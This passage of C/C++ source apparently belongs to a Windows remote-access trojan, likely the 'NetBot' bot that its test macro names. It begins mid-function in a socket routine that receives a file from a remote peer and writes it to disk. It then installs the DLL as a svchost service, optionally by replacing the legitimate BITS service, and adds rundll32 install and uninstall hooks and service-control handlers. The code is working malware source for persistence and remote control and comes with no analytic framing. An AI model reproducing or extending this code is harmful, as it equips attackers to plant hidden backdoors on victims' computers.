setsockopt(FileSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOutTime, sizeof(int));

MsgHead msgHead;
//send socket type
msgHead.dwCmd = SOCKET_FILEUP;
msgHead.dwSize = 0;
if(!SendMsg(FileSocket, NULL, &msgHead))
{
closesocket(FileSocket);
return 0;//send socket type error
}

//////////////////////////////////////////////////////
HANDLE hUpFile = INVALID_HANDLE_VALUE;
DWORD  dwUpFileSize = 0, dwBufSize = 4096, dwBytes;
BYTE   RecvBuffer[4096];
int nRet =0 ;

//get download data
hUpFile = CreateFile(m_FileOpt.cScrFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (hUpFile == INVALID_HANDLE_VALUE)//CMD_READFILEEOR
dwUpFileSize  = 0;
else
dwUpFileSize = 100;

m_FileOpt.iSize = dwUpFileSize;
//send file message
if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwUpFileSize <= 0)
{
shutdown(FileSocket,0x02);
closesocket(FileSocket);
return 1;//send socket type error
}

while(TRUE)
{
nRet = recv(FileSocket, (char*)&RecvBuffer, dwBufSize, 0);
if (nRet <= 0)
break;
WriteFile(hUpFile, RecvBuffer, nRet, &dwBytes, NULL);
}

CloseHandle(hUpFile);
shutdown(FileSocket,0x02);
closesocket(FileSocket);

return 10;
}

////////////////////////////////////////////////////////////////////////////////////////////////////
BOOL _stdcall Install(LPCSTR szDllPath)
{
if (modify_data.bReplace)
return ReplaceSvchostService("BITS",szDllPath);
else
return InstallSvchostService(modify_data.strSvrName,
modify_data.strSvrDisp,
modify_data.strSvrDesc,
szDllPath);
}

BOOL _stdcall Uninstall()
{
if (modify_data.bReplace)
{
StopService(modify_data.strSvrName);
}
else
{
StopService(modify_data.strSvrName);
UninstallService(modify_data.strSvrName);
}

return TRUE;
}

void CALLBACK RundllInstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow)
{
Install(param);
}

void CALLBACK RundllUninstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow)
{
Uninstall();
}

////////////////////////////////////////////////////////////////////////////////////////////////////
//Service HANDLE & STATUS used to get service state
SERVICE_STATUS_HANDLE hSrv;
DWORD dwCurrState;

void __stdcall ServiceMain(DWORD dwArgc, wchar_t* argv[])
{
char svcname[256];
strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
wcstombs(svcname, argv[0], sizeof svcname);

hSrv = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler );

if( hSrv == NULL )
return;
else
FreeConsole();

TellSCM( SERVICE_START_PENDING, 0, 1 );
TellSCM( SERVICE_RUNNING, 0, 0 );

//Run My Main Code=============

HANDLE hThread = CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);

do
{
Sleep(100);//not quit until receive stop command, otherwise the service will stop
}while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED);
}

void __stdcall ServiceHandler( DWORD dwCommand )
{
switch( dwCommand )
{
case SERVICE_CONTROL_STOP:
TellSCM( SERVICE_STOP_PENDING, 0, 1 );
Sleep(10);
TellSCM( SERVICE_STOPPED, 0, 0 );
break;
case SERVICE_CONTROL_PAUSE:
TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
TellSCM( SERVICE_PAUSED, 0, 0 );
break;
case SERVICE_CONTROL_CONTINUE:
TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
TellSCM( SERVICE_RUNNING, 0, 0 );
break;
case SERVICE_CONTROL_INTERROGATE:
TellSCM( dwCurrState, 0, 0 );
break;
case SERVICE_CONTROL_SHUTDOWN:
TellSCM( SERVICE_STOPPED, 0, 0 );
break;
}
}

int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
{
SERVICE_STATUS srvStatus;
srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
srvStatus.dwCurrentState = dwCurrState = dwState;
srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode = dwExitCode;
srvStatus.dwServiceSpecificExitCode = 0;
srvStatus.dwCheckPoint = dwProgress;
srvStatus.dwWaitHint = 3000;
return SetServiceStatus( hSrv, &srvStatus );
}

BOOL APIENTRY DllMain( HINSTANCE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hDllModule = (HMODULE)hModule;
#ifdef NETBOT_TEST
CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL);
#endif //NETBOT_TEST
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}